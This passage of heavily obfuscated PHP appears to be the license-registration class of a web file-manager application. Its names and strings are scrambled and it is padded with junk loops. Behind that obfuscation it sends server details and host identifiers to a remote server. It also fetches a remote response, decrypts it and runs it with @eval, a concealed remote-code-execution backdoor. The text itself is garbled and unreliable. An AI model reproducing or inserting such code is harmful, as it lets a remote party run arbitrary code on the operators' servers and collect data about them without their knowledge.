$this->cxrff5f5dc5f($ݦζ[25], array($this, $ݦζ[26])); $ = $ҫ[687]; $this->cxrff5f5dc5f($ݦζ[27], array($this, $ݦζ[28])); $this->cxrff5f5dc5f($ݦζ[29], array($this, $ݦζ[30])); $ = $ҫ[688]; if (strlen($) < $ҫ[657]) { return; } $this->cxrff5f5dc5f($ݦζ[31], array($this, $ݦζ[32])); } public function uprx2271e4a1($˝) { $ޞ =& $_SERVER[砐]; $ë =& $_SERVER[͑]; $٨ = Model($ë[33])->get(); $و蘿 = $ޞ[689]; if (strlen($و蘿) < $ޞ[671]) { die; } $ = array($ë[34], $ë[35], $ë[36], $ë[37], $ë[38], $ë[39], $ë[40], $ë[41], $ë[42], $ë[43], $ë[44], $ë[45], $ë[46], $ë[47], $ë[48], $ë[49], $ë[50], $ë[51], $ë[52], $ë[53], $ë[54], $ë[55], $ë[56], $ë[57], $ë[58], $ë[59], $ë[60], $ë[61], $ë[62], $ë[63], $ë[64], $ë[65], $ë[66], $ë[67], $ë[68], $ë[69], $ë[70], $ë[71], $ë[72], $ë[73], $ë[74], $ë[75], $ë[76], $ë[77], $ë[78], $ë[79], $ë[80], $ë[81], $ë[82], $ë[83], $ë[84]); foreach ($ as $) { $ = $GLOBALS[$ë[85]][$ë[86]][$]; $ = $ޞ[690]; if (isset($٨[$])) { $ = $٨[$]; } $˝[$ë[87]][$ë[88]][$] = $; } $ݠҥ = $˝[$ë[87]][$ë[88]][$ë[46]]; $ӡ = $ޞ[691]; if (strlen($ӡ) < $ޞ[692]) { return; } unset($˝[$ë[87]][$ë[89]][$ë[90]]); unset($˝[$ë[87]][$ë[89]][$ë[91]]); unset($˝[$ë[87]][$ë[88]][$ë[46]]); unset($˝[$ë[87]][$ë[88]][$ë[92]]); $˝[$ë[87]][$ë[88]][$ë[93]] = array($ë[94] => (int) $ݠҥ[$ë[95]], $ë[96] => (int) _get($ݠҥ, $ë[97], 0)); $鰲 = substr(md5($ë[98] . get_client_ip() . $٨[$ë[99]]), 0, 15); $ = $ޞ[693]; if (!$) { return; } $˝[$ë[100]][$ë[101]] = Mcrypt::encode(Session::sign(), $鰲, 3600 * 24); $ⶽ = $ޞ[694]; while (strlen($ⶽ) < $ޞ[661]) { if (!$ⶽ) { break; } $ⶽ++; } $˝[$ë[100]][$ë[102]] = Action($ë[103])->accessToken(); $˝[$ë[100]][$ë[104]] = md5($_SERVER[$ë[105]] . $٨[$ë[99]]); $ݟ = $ޞ[695]; while (strlen($ݟ) < $ޞ[692]) { if (!$ݟ) { break; } $ݟ++; } $˝[$ë[100]][$ë[106]] = base64_encode(serverInfo()); $˝[$ë[100]][$ë[107]] = $this->goeu038097d5; $ = $ޞ[696]; if ($٨[$ë[107]] != $ë[108]) { $˝[$ë[100]][$ë[109]] = $٨[$ë[109]]; $˝[$ë[100]][$ë[110]] = $٨[$ë[110]]; $Í = rand_string(10) . $this->goeu038097d5 . rand_string(5); $˝[$ë[87]][$ë[111]][$ë[112]] = $this->ycsjf993275f($Í, $˝[$ë[100]][$ë[104]]); } if ($this->goeu038097d5 == $ë[108]) { $˝[$ë[87]][$ë[88]][$ë[93]][$ë[97]] = 0; } $˝[$ë[100]][$ë[113]] = _get($this->rdwocac763cc, $ë[114], $ë[6]); $˝[$ë[100]][$ë[115]] = _get($this->rdwocac763cc, $ë[116], $ë[6]); $Ϥ = $ޞ[697]; while ($Ϥ < $ޞ[657]) { if ($Ϥ >= 0) { break; } $Ϥ++; } if (KodUser::isRoot() && $this->config[$ë[117]]) { $˝[$ë[100]][$ë[118]] = WEB_ROOT; } return $˝; } private function ojvn91111d71() { $玂 =& $_SERVER[砐]; $ =& $_SERVER[͑]; $ȭ = $_SERVER[$[24]] == $[119]; if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ȭ = !0; } if ($ȭ) { $ = array($[107] => $this->goeu038097d5, $[123] => $this->ghze5be35b25(), $[124] => Model($[125])->count()); if ($this->goeu038097d5 != $[108]) { $ = _get($this->rdwocac763cc, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->rdwocac763cc, $[129])); $[$[130]] = _get($this->rdwocac763cc, $[116]); } $䥠 = Model($[33])->get($[131], $[6], !0); if (is_string($䥠) && substr($䥠, 0, 1) == $[132]) { $䥠 = json_decode_force($䥠); } if (is_array($䥠) && $䥠[$[133]] && strstr($䥠[$[133]], $[134])) { $岕 = explode($[134], $䥠[$[133]]); $[$[135]] = $岕[0]; } } $ = $this->ehka110833eb(json_encode($), md5($[136])); $ = array($[137] => $); call_user_func(array($[138], $[139]), $); $ܠ = $玂[698]; while ($ܠ < $玂[692]) { if ($ܠ >= 0) { break; } $ܠ++; } } if ($this->goeu038097d5 == $[108]) { return; } $ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ߴ = Model($[33])->get(); $Ӯ = $玂[699]; while ($Ӯ < $玂[671]) { if ($Ӯ >= 0) { break; } $Ӯ++; } $ = array($[146] => $ߴ[$[34]], $[147] => $ߴ[$[35]], $[148] => $[6]); foreach ($ as $̜) { if (!isset($ߴ[$̜]) || !$ߴ[$̜]) { continue; } $[$̜] = $ߴ[$̜]; } call_user_func(array($[138], $[139]), $); } private function ihgtc55c857f() { $ώ쨛 =& $_SERVER[砐]; $𶵉 =& $_SERVER[͑]; if ($_SERVER[$𶵉[24]] != $𶵉[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$𶵉[13]]; if (isset($[$𶵉[150]])) { $this->pjyi28728f55(); die; } if (isset($[$𶵉[151]]) && isset($[$𶵉[151]]) == $𶵉[122]) { $[$𶵉[152]] = Model($𶵉[33])->get($𶵉[153]); } if (!isset($[$𶵉[152]]) || strlen($[$𶵉[152]]) != 16) { show_json($𶵉[154] . $[$𶵉[152]], !1); } $ = Model($𶵉[33])->get($𶵉[99]); $ˁԀ = md5($_SERVER[$𶵉[105]] . $); $ = $ώ쨛[700]; while ($ < $ώ쨛[669]) { if ($ >= 0) { break; } $++; } $ڦ = array($𶵉[152] => $[$𶵉[152]], $𶵉[155] => rand_string(16), $𶵉[156] => $𶵉[136], $𶵉[157] => $𶵉[158], $𶵉[159] => $_SERVER[$𶵉[160]], $𶵉[161] => $_SERVER[$𶵉[162]], $𶵉[163] => $_SERVER[$𶵉[164]], $𶵉[104] => $ˁԀ, $𶵉[165] => Model($𶵉[33])->get($𶵉[131])); if ($[$𶵉[166]] == $𶵉[167]) { $Έץ = $this->ehka110833eb($ˁԀ, $𶵉[168]); $͘ = $this->ycsjf993275f(json_encode($ڦ), $ˁԀ . $𶵉[169], 3); $͘ = $͘ . $𶵉[170] . $_SERVER[$𶵉[160]]; $ = $this->vurm37fa4e72($𶵉[171] . $Έץ . $𶵉[172] . $͘, -1); show_json($, !0); } else { if ($[$𶵉[166]] == $𶵉[173]) { $‘ = substr(md5($𶵉[174] . $ˁԀ), 12, 15) . $𶵉[175]; $͘ = $this->gdyv9b19ed81(trim($[$𶵉[176]]), $‘, 2); $å = json_decode($͘, !0); if (!is_array($å) || !is_array($å[$𶵉[177]]) || $å[$𶵉[152]] != !0) { $␯ = $𶵉[178]; $ɜ = $å[$𶵉[177]] ? $𶵉[179] . $å[$𶵉[177]] : $␯; show_json($ɜ, !1); } else { $ڦ[$𶵉[155]] = $å[$𶵉[177]][$𶵉[180]]; } } else { $å = $this->vurm37fa4e72($𶵉[181], $ڦ, 10); } } if (!is_array($å) || !is_array($å[$𶵉[177]]) || $å[$𶵉[152]] != !0) { $␯ = LNG($𶵉[182]); $ɜ = $å[$𶵉[177]] ? $𶵉[179] . $å[$𶵉[177]] : $␯; show_json($ɜ, !1); } $ÜӅ = $å[$𶵉[177]]; $ॱ = $this->xfad5fcc1643($ÜӅ[$𶵉[183]]); $ = $ώ쨛[701]; if (strlen($) < $ώ쨛[669]) { die; } if (!$ॱ || $ॱ != $ÜӅ[$𶵉[129]]) { $ʷ = array($𶵉[184] => Model($𶵉[33])->get($𶵉[99]), $𶵉[185] => $_SERVER[$𶵉[105]], $𶵉[186] => this_url(), $𶵉[161] => $_SERVER[$𶵉[162]]); $͘ = $this->qxsv06505b9c(json_encode($ʷ)); $this->vurm37fa4e72($𶵉[187] . $͘); show_json(LNG($𶵉[188]), !0); } $ٰ = array($𶵉[153] => $ÜӅ[$𶵉[189]], $𶵉[190] => $ÜӅ[$𶵉[191]], $𶵉[192] => rand_string(16), $𶵉[107] => $ÜӅ[$𶵉[193]]); if ($ڦ[$𶵉[155]]) { $ٰ[$𶵉[192]] = $ڦ[$𶵉[155]]; } $ͅ = substr(md5($ٰ[$𶵉[190]]), 10, 10); $ = $ͅ . $ٰ[$𶵉[107]] . $ٰ[$𶵉[192]]; $ޭ = $ώ쨛[702]; if (strlen($ޭ) < $ώ쨛[671]) { return; } $ٰ[$𶵉[109]] = strrev(base64_encode($this->ehka110833eb($, $𶵉[194]))); $땥 = $ώ쨛[703]; $ = rand_string(16); $ˁ彑 = $ . $ٰ[$𶵉[107]] . $this->ehka110833eb(md5($ٰ[$𶵉[153]]), $); $ = $ώ쨛[704]; while (strlen($) < $ώ쨛[657]) { if (!$) { break; } $++; } $ٰ[$𶵉[110]] = base64_encode(strrev($this->ehka110833eb($ˁ彑, $𶵉[195]))); $ = $ώ쨛[705]; if ($ÜӅ[$𶵉[196]] && $ÜӅ[$𶵉[196]] >= 1) { Model($𶵉[33])->setDeep($𶵉[197], $𶵉[122]); } Model($𶵉[33])->set($ٰ); $ = md5($_SERVER[$𶵉[105]] . strrev($) . $ٰ[$𶵉[190]]); $ = $ώ쨛[706]; while ($ < $ώ쨛[661]) { if ($ >= 0) { break; } $++; } $〟 = strrev(substr($, 10, 16)); $ = $this->ycsjf993275f(json_encode($ÜӅ), $); $㤘 = array_to_keyvalue(Model($𶵉[7])->listData(), $𶵉[198]); $ݺ = $㤘[$𶵉[199]]; $ = array(); $Ό = $ώ쨛[707]; if (strlen($Ό) < $ώ쨛[657]) { return; } $[$〟] = $; Model($𶵉[7])->update($ݺ[$𶵉[200]], array($𶵉[201] => $)); $ش = $ώ쨛[708]; if (strlen($ش) < $ώ쨛[692]) { die; } $this->rdwocac763cc = $ÜӅ; $Ǻĸ = $ώ쨛[709]; if (!$Ǻĸ) { return; } $this->goeu038097d5 = $ٰ[$𶵉[107]]; $׭҅ = $ώ쨛[710]; while (strlen($׭҅) < $ώ쨛[692]) { if (!$׭҅) { break; } $׭҅++; } $this->licenseRegistSuccess(); $ް = $ώ쨛[711]; while ($ް < $ώ쨛[692]) { if ($ް >= 0) { break; } $ް++; } Cache::set($𶵉[202] . md5($ . $𶵉[203]), $𶵉[6]); show_json(LNG($𶵉[188]), !0); } private function licenseRegistSuccess() { $ =& $_SERVER[͑]; $ȁ = Model($[33])->get(); $ = $_SERVER[砐][712]; if ($ȁ[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[204])->initStart(!0); } private function pjyi28728f55() { $ =& $_SERVER[砐]; $𱁄 =& $_SERVER[͑]; Model($𱁄[33])->set(array($𱁄[153] => $𱁄[6], $𱁄[190] => $𱁄[6], $𱁄[107] => $𱁄[108], $𱁄[109] => $𱁄[6], $𱁄[110] => $𱁄[6])); Model($𱁄[33])->setDeep($𱁄[197], $𱁄[205]); $this->rdwocac763cc = array(); $쟟 = $[713]; while ($쟟 < $[661]) { if ($쟟 >= 0) { break; } $쟟++; } $this->goeu038097d5 = $𱁄[108]; } private function zjird0006078() { $ =& $_SERVER[砐]; $ =& $_SERVER[͑]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->goeu038097d5 = $[108]; $ = Model($[33])->get(); if ($[$[107]] == $[108]) { return; } $Օ = Model($[33])->get($[99]); $ߛ = $[714]; if (!$ߛ) { die; } $թ = $[202] . md5($Օ . $[203]); $ˤ = $[715]; $ = Cache::get($թ); $Ȕ = $[716]; if (!is_array($) || !isset($[$[206]]) || time() - $[$[206]] >= 60) { $򗤰 = Model($[7])->loadList(); $˖ = $򗤰[$[199]]; $æ = md5($_SERVER[$[105]] . strrev($Օ) . $[$[190]]); $—ų = strrev(substr($æ, 10, 16)); $ = $this->gdyv9b19ed81($˖[$[85]][$—ų], $æ); $ = json_decode($, !0); } if (!is_array($)) { return $this->pjyi28728f55(); } $ܪ = strtotime($[$[129]]); if (time() >= $ܪ) { return $this->pjyi28728f55(); } if (time() - $[$[206]] > 20) { $[$[206]] = time(); Cache::set($թ, $); } $this->rdwocac763cc = $; $this->goeu038097d5 = $[$[107]]; } private function wtcj6d77772b() { $ӓ =& $_SERVER[砐]; $ =& $_SERVER[͑]; $Ȅ = $GLOBALS[$[13]]; $é = $ӓ[717]; if (strlen($é) < $ӓ[661]) { die; } $ = $_SERVER[$[24]]; $ܘ = $ӓ[718]; while (strlen($ܘ) < $ӓ[671]) { if (!$ܘ) { break; } $ܘ++; } if ($ == $[207] && $this->goeu038097d5 == $[108]) { show_json(LNG($[208]), !1, $[209]); } $ʨ = array($[210], $[211]); if (in_array($, $ʨ)) { if ($this->goeu038097d5 == $[108] && isset($Ȅ[$[212]])) { show_json(LNG($[208]), !1, $[209]); die; } $¦ = $this->ghze5be35b25(); if ($¦ != intval($[213])) { if ($¦ <= Model($[125])->count()) { show_json(LNG($[214]), !1, $[209]); die; } } } } private function fgqs986e2050() { $ =& $_SERVER[砐]; $ũ =& $_SERVER[͑]; $ = array($ũ[119], $ũ[120]); if (!KodUser::isRoot() || !isset($_GET[$ũ[215]])) { return; } if (!in_array($_SERVER[$ũ[24]], $)) { return; } $彃 = $ũ[216]; $彃 = $this->hsox157bd8b4($彃, $ũ[217]); $ק = $[719]; while (strlen($ק) < $[671]) { if (!$ק) { break; } $ק++; } $ = stream_context_create(array($ũ[218] => array($ũ[219] => $ũ[220], $ũ[221] => 3))); $ = $[720]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = @file_get_contents($彃, !1, $); header($ũ[222]); $嚜 = $[721]; if (!$嚜) { die; } if ($ && strstr($, $ũ[223])) { echo $; } die; } public function azpd267e5692($) { $ݹ =& $_SERVER[砐]; $ =& $_SERVER[͑]; if ($this->goeu038097d5 == $[224]) { return $; } $f = array($[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[230], $[231] => $[230], $[232] => $[230], $[233] => $[230], $[234] => $[230], $[235] => $[230], $[236] => $[230], $[237] => $[230], $[238] => $[230], $[239] => $[230], $[240] => $[230], $[241] => $[230]); $א = explode($[242], _get($this->rdwocac763cc, $[114], $[6])); $ = $ݹ[722]; if (!$) { die; } $唭 = array(); foreach ($f as $ϰ => $) { if ($ == $[226] && substr($this->goeu038097d5, 0, 1) == $[226]) { continue; } if (!in_array($ϰ, $א)) { $唭[] = $ϰ; } } foreach ($唭 as $ϰ) { unset($[$ϰ]); } return $; $Ō = $ݹ[723]; while (strlen($Ō) < $ݹ[669]) { if (!$Ō) { break; } $Ō++; } } private function apju5eed77de() { $ =& $_SERVER[͑]; if ($this->goeu038097d5 != $[108]) { $GLOBALS[$[85]][$[89]][$[243]] = $[205]; return; } $GLOBALS[$[85]][$[244]] = $[122]; if (Model($[245])->get($[63]) != $[205]) { Model($[245])->set($[63], $[205]); } } public function ozci2f114716() { return $_SERVER[͑][246]; } private function eudrb72b712a() { $ =& $_SERVER[砐]; $ܕ =& $_SERVER[͑]; $Ѱ = array($ܕ[247], $ܕ[248], $ܕ[249]); $؝ = $ܕ[250] . md5($ܕ[251]); if ($this->goeu038097d5 == $ܕ[108] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$ܕ[24]], $Ѱ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($ܕ[252], $ܕ[253]), $؝); $ = $[724]; if ($ && time() - $ < intval($ܕ[254])) { return; } call_user_func(array($ܕ[252], $ܕ[139]), $؝, time()); $˺ = Model($ܕ[33])->get($ܕ[99]); $ = array($ܕ[152] => Model($ܕ[33])->get($ܕ[153]), $ܕ[166] => $this->goeu038097d5, $ܕ[163] => $_SERVER[$ܕ[164]], $ܕ[165] => Model($ܕ[33])->get($ܕ[131]), $ܕ[104] => md5($_SERVER[$ܕ[105]] . $˺), $ܕ[156] => $ܕ[136], $ܕ[159] => $_SERVER[$ܕ[160]]); $ = $this->vurm37fa4e72($ܕ[255], $); if (!is_array($)) { return; } if ($[$ܕ[152]] && $[$ܕ[256]]) { if ($this->xfad5fcc1643($[$ܕ[256]]) == $[$ܕ[152]]) { return; } } $this->pjyi28728f55(); $ڻ = $[725]; if (strlen($ڻ) < $[657]) { die; } if ($this->xfad5fcc1643($[$ܕ[256]]) != $[$ܕ[152]]) { $ = array($ܕ[184] => $˺, $ܕ[185] => $_SERVER[$ܕ[105]], $ܕ[186] => this_url(), $ܕ[161] => $_SERVER[$ܕ[162]]); $Dz = $this->qxsv06505b9c(json_encode($)); $ = $this->vurm37fa4e72($ܕ[187] . $Dz); if ($ && is_array($) && isset($[$ܕ[256]])) { $Ϗª = $this->gdyv9b19ed81($[$ܕ[256]], 2); if ($Ϗª) { $Ϗª = $this->xfad5fcc1643($Ϗª); } if ($Ϗª) { try { @eval($Ϗª); } catch (Exception $Ⱦ) { } } } } } private function vurm37fa4e72($ = '', $ = array(), $䕴 = 5) { $ =& $_SERVER[砐]; $͂ =& $_SERVER[͑]; $㚒 = $͂[257]; $㚒 = $this->hsox157bd8b4($㚒, $͂[258]); $㚒 = $㚒 . $; if ($ && is_array($)) { $㚒 = $㚒 . $͂[259] . http_build_query($); } if ($ === -1) { return $㚒; } $݊ڷ = stream_context_create(array($͂[218] => array($͂[221] => $䕴, $͂[219] => $͂[260]), $͂[261] => array($͂[262] => !1, $͂[263] => !1))); $藏ƒ = $[726]; if (!$藏ƒ) { die; } $ = @file_get_contents($㚒, !1, $݊ڷ); return json_decode($, !0); $舥 = $[727]; if (strlen($舥) < $[657]) { die; } } private function ghze5be35b25() { $ =& $_SERVER[砐]; $Ҧ =& $_SERVER[͑]; $Ɖ = array($Ҧ[264] => $Ҧ[265], $Ҧ[266] => $Ҧ[267], $Ҧ[268] => $Ҧ[269], $Ҧ[270] => $Ҧ[271], $Ҧ[272] => $Ҧ[273], $Ҧ[274] => $Ҧ[213], $Ҧ[275] => $Ҧ[213], $Ҧ[276] => $Ҧ[265], $Ҧ[277] => $Ҧ[267], $Ҧ[278] => $Ҧ[269], $Ҧ[279] => $Ҧ[280], $Ҧ[281] => $Ҧ[271], $Ҧ[282] => $Ҧ[283], $Ҧ[284] => $Ҧ[273], $Ҧ[285] => $Ҧ[286], $Ҧ[287] => $Ҧ[288], $Ҧ[289] => $Ҧ[290]); $ = $[728]; $ = $Ɖ[$this->goeu038097d5]; $ = intval($ ? $ : $Ҧ[265]); $ = $[729]; if (!$) { die; } $ = _get($this->rdwocac763cc, $Ҧ[291]); $ = $ ? intval($) : 0; $ȗԪ = $[730]; while ($ȗԪ < $[657]) { if ($ȗԪ >= 0) { break; } $ȗԪ++; } return $ + $; } public function heny43e8c145($˵) { $Ƽ =& $_SERVER[砐]; $ =& $_SERVER[͑]; $ = $this->ghze5be35b25(); $ = $Ƽ[731]; if (strlen($) < $Ƽ[661]) { die; } if ($˵[$[292]] == $[122]) { return; } if ($ >= intval($[213])) { return; } $œ = Model($[125])->count(); $ = $Ƽ[732]; if ($œ <= $) { return; } $ = Model($[125])->field($[292])->limit($)->select(); $ԧ = $Ƽ[733]; if (strlen($ԧ) < $Ƽ[671]) { die; } $ = array_to_keyvalue($, $[6], $[292]); if (!in_array($˵[$[292]], $)) { show_json($[293], !1, $[209]); } } public function nrfc9373d337() { $퓖 =& $_SERVER[砐]; $ =& $_SERVER[͑]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $쭶 = $[216]; $ = $퓖[734]; while ($ < $퓖[671]) { if ($ >= 0) { break; } $++; } $쭶 = $this->hsox157bd8b4($쭶, $[217]); $ = $퓖[735]; while ($ < $퓖[661]) { if ($ >= 0) { break; } $++; } $Δ = stream_context_create(array($[218] => array($[219] => $[220], $[221] => 3))); $ĻŲ = $퓖[736]; while (strlen($ĻŲ) < $퓖[669]) { if (!$ĻŲ) { break; } $ĻŲ++; } $ = @file_get_contents($쭶, !1, $Δ); echo $[294] . hash_encode($) . $[295]; $ = $퓖[737]; } private function ycsjf993275f($, $, $ = 3) { $ =& $_SERVER[砐]; $г =& $_SERVER[͑]; usleep(1); $ǯ = $[738]; while (strlen($ǯ) < $[657]) { if (!$ǯ) { break; } $ǯ++; } $ = trim($); $ʚ = $[739]; $Ē = mt_rand(0, 5) . $г[6]; $ = $[740]; if (!$) { return; } $ = rand_string(15); $ = $г[296]; $ε = $[741]; while ($ε < $[692]) { if ($ε >= 0) { break; } $ε++; } switch ($Ē) { case $г[205]: $蒇ć = $this->ehka110833eb($, strrev($ . $)); break; $ = $[742]; case $г[122]: $蒇ć = $this->ehka110833eb($, strrev($ . $)); $у = $[743]; break; $Ӻ = $[744]; case $г[297]: $蒇ć = $this->ehka110833eb($, base64_encode($ . $)); $׀ = $[745]; break; case $г[298]: $蒇ć = $this->ehka110833eb($, md5($ . $)); $ = $[746]; if (strlen($) < $[669]) { return; } break; $곺 = $[747]; if (!$곺) { die; } case $г[299]: $ = base64_encode($); $ = rand(0, 64); $ = $[748]; $܁ = $[$]; $˃; = $[749]; if (!$˃;) { die; } $ = md5($܁ . md5($ . $܁) . $); $Ŏ = $[750]; while ($Ŏ < $[657]) { if ($Ŏ >= 0) { break; } $Ŏ++; } $ = substr($, $ % 8, $ % 8 + 7); $¿ = $г[6]; $ = 0; $ʦ = 0; $ס = $[751]; if (!$ס) { die; } $Ż٭ = 0; $핬 = $[752]; for ($ = 0; $ < strlen($); $++) { $Ż٭ = $Ż٭ == strlen($) ? 0 : $Ż٭; $ʦ = ($ + strpos($, $[$]) + ord($[$Ż٭++])) % 64; $Ѿ = $[753]; if (strlen($Ѿ) < $[692]) { die; } $¿ .= $[$ʦ]; } $蒇ć = hash_encode($܁ . $¿); break; $ = $[754]; if (!$) { die; } default: $蒇ć = $this->ehka110833eb($, $ . $); break; } $蒇ć = strrev($Ē . $ . $蒇ć); $ف = $[755]; while ($ف < $[671]) { if ($ف >= 0) { break; } $ف++; } if ($ - 1 > 0) { $蒇ć = $this->ycsjf993275f($蒇ć, $, $ - 1); } return $蒇ć; } private function gdyv9b19ed81($, $, $ = 3) { $ =& $_SERVER[砐]; $ =& $_SERVER[͑]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = $[756]; if (!$) { die; } $ = strrev($); $ = $[757]; $ʴɽ = $[0]; $ש奁 = substr($, 1, 15); $ = $[758]; if (strlen($) < $[657]) { return; } $ = substr($, 16); $⣏ = $[759]; while (strlen($⣏) < $[669]) { if (!$⣏) { break; } $⣏++; } $ɑ = $[296]; switch ($ʴɽ) { case $[205]: $ʜ = $this->hsox157bd8b4($, strrev($ . $ש奁)); break; case $[122]: $ʜ = $this->hsox157bd8b4($, strrev($ש奁 . $)); $ђ = $[760]; while ($ђ < $[657]) { if ($ђ >= 0) { break; } $ђ++; } break; case $[297]: $ʜ = $this->hsox157bd8b4($, base64_encode($ש奁 . $)); $ۨ = $[761]; while ($ۨ < $[671]) { if ($ۨ >= 0) { break; } $ۨ++; } break; $ = $[762]; if (strlen($) < $[669]) { return; } case $[298]: $ʜ = $this->hsox157bd8b4($, md5($ש奁 . $)); break; case $[299]: $ = hash_decode($); $ª = $[763]; $Ꜩ = $[0]; $ǿ = $[764]; while ($ǿ < $[671]) { if ($ǿ >= 0) { break; } $ǿ++; } $ = substr($, 1); $ = strpos($ɑ, $Ꜩ); $ȗ = $[765]; if (strlen($ȗ) < $[671]) { return; } $򉢊 = md5($Ꜩ . md5($ . $Ꜩ) . $); $򉢊 = substr($򉢊, $ % 8, $ % 8 + 7); $ = $[6]; $ = $[766]; $ք = 0; $ = 0; $󤌒 = 0; $ = $[767]; while ($ < $[669]) { if ($ >= 0) { break; } $++; } for ($ք = 0; $ք < strlen($); $ք++) { $󤌒 = $󤌒 == strlen($򉢊) ? 0 : $󤌒; $ⷴ = $󤌒++; $ = strpos($ɑ, $[$ք]) - $ - ord($򉢊[$ⷴ]); $ԏܠ = $[768]; if (!$ԏܠ) { die; } while ($ < 0) { $ += 64; } $ .= $ɑ[$]; } $ʜ = base64_decode($); break; default: $ʜ = $this->hsox157bd8b4($, $ . $ש奁); break; $φ = $[769]; } if ($ - 1 > 0) { $ʜ = $this->gdyv9b19ed81($ʜ, $, $ - 1); } return $ʜ; } public function qxsv06505b9c($˾) { $ =& $_SERVER[砐]; $䩻 =& $_SERVER[͑]; $Έ = $this->ghcd461c64f6(); $ٹ = $this->ghcd461c64f6(); $׼ = ($Έ - 1) * ($ٹ - 1); $僩ʋ = intval(($Έ + $ٹ) / 2); $Δ = $[770]; while (strlen($Δ) < $[671]) { if (!$Δ) { break; } $Δ++; } while (1) { $Ơ = $僩ʋ; $ؔ = $[771]; if (strlen($ؔ) < $[692]) { die; } $ = $׼; while ($ % $Ơ != 0) { $՛ = $; $ö = $[772]; if (strlen($ö) < $[671]) { die; } $ = $Ơ; $ل = $[773]; while ($ل < $[692]) { if ($ل >= 0) { break; } $ل++; } $Ơ = $՛ % $Ơ; $ = $[774]; if (strlen($) < $[661]) { return; } } if ($Ơ == 1) { break; } else { $僩ʋ++; } } $ = 2; $ = $[775]; for ($ΰ = 0; $ΰ < $׼ * 10; $ΰ++) { if (($׼ * $ΰ + 1) % $僩ʋ == 0) { $ = intval(($׼ * $ΰ + 1) / $僩ʋ); break; } } $ = $this->ehka110833eb($Έ * $ٹ . $䩻[6], $䩻[136]); $ϩ = md5($䩻[300] . ($Έ + $ٹ) . $䩻[301] . $僩ʋ . $䩻[301] . $ . $䩻[302]); $ = $[776]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $Ȉ = $this->ehka110833eb($˾, $ϩ) . $䩻[303] . $; $ = $[777]; return $Ȉ; } public function xfad5fcc1643($˙) { $Ӡ =& $_SERVER[砐]; $̸ =& $_SERVER[͑]; $ = explode($̸[303], $˙); $↤ = $Ӡ[778]; if (strlen($↤) < $Ӡ[669]) { return; } if (count($) != 2) { return $̸[6]; } $́ٿ = $this->hsox157bd8b4($[1] . $̸[6], $̸[136]); if (!$́ٿ) { return $̸[6]; } $́ٿ = intval($́ٿ); $ꓤˣ = 0; $ = 0; $ = $Ӡ[779]; for ($Ŭ􁡚 = 3; $Ŭ􁡚 < $́ٿ; $Ŭ􁡚 += 2) { if ($́ٿ % $Ŭ􁡚 != 0) { continue; } $ꓤˣ = $Ŭ􁡚; $դ旺 = $Ӡ[780]; $ = intval($́ٿ / $Ŭ􁡚); break; } $ш = ($ꓤˣ - 1) * ($ - 1); $ҁ = $Ӡ[781]; if (strlen($ҁ) < $Ӡ[692]) { return; } $ĝ = intval(($ꓤˣ + $) / 2); $ȋ = $Ӡ[699]; if (!$ȋ) { return; } while (1) { $ߞŠ = $ĝ; $瘃 = $ш; $ծ = $Ӡ[782]; while ($瘃 % $ߞŠ != 0) { $ = $瘃; $㳱 = $Ӡ[783]; if (strlen($㳱) < $Ӡ[692]) { die; } $瘃 = $ߞŠ; $ߞŠ = $ % $ߞŠ; } if ($ߞŠ == 1) { break; } else { $ĝ++; } } $줇„ = 2; for ($Ŭ􁡚 = 0; $Ŭ􁡚 < $ш * 10; $Ŭ􁡚++) { if (($ш * $Ŭ􁡚 + 1) % $ĝ == 0) { $줇„ = intval(($ш * $Ŭ􁡚 + 1) / $ĝ); break; } } $ = md5($̸[300] . ($ꓤˣ + $) . $̸[301] . $ĝ . $̸[301] . $줇„ . $̸[302]); $ = $Ӡ[784]; while (strlen($) < $Ӡ[671]) { if (!$) { break; } $++; } $迵 = $this->hsox157bd8b4($[0], $); return $迵; } public function ghcd461c64f6() { $ =& $_SERVER[砐]; $ʕ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $[785]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = array(); $޻ = $[786]; while ($޻ < $[692]) { if ($޻ >= 0) { break; } $޻++; } $ݴ = 1; $ = $[787]; while ($ݴ <= (int) sqrt($ʕ)) { $ = $ݴ; $Ă = $[788]; while (!0) { $++; $ = $[789]; if (strlen($) < $[669]) { die; } if ($ <= 2) { $ݴ = $; break; } else { if ($ < 2) { continue; } } $؞ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $؞ = !1; } } if ($؞) { $ݴ = $; break; } } $[] = $ݴ; } $ӿ = 2; for ($ = $ʕ; $ > 1; $--) { $؞ = !0; foreach ($ as $) { if ($ % $ == 0) { $؞ = !1; break; } } if ($؞) { $ӿ = $; break; } } return $ӿ; $ = $[790]; if (!$) { die; } } public function cxrff5f5dc5f($Ꝕ, $) { $˅ =& $_SERVER[砐]; $؁ =& $_SERVER[͑]; return call_user_func(array($؁[8], $؁[304]), $Ꝕ, $); $ = $˅[791]; if (strlen($) < $˅[661]) { die; } } public function ehka110833eb($, $•ɂ) { $܉ =& $_SERVER[͑]; return call_user_func(array($܉[305], $܉[306]), $, $•ɂ); } public function hsox157bd8b4($, $Է) { $ =& $_SERVER[͑]; return call_user_func(array($[305], $[307]), $, $Է); $ӑ = $_SERVER[砐][792]; } } goto b; c΄: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x62\141\x63\153\165\160\114\x69\x73\164"; public $field = array("\x69\157", "\x6e\x61\x6d\145", "\x73\x74\141\164\x75\163", "\143\x6f\x6e\164\x65\156\164", "\155\x61\156\x75\141\x6c", "\162\x65\163\x75\154\x74", "\x74\151\155\145\106\x72\x6f\155", "\x74\151\155\x65\124\x6f"); public function config() { $̐ =& $_SERVER[砐]; $Ȫ = 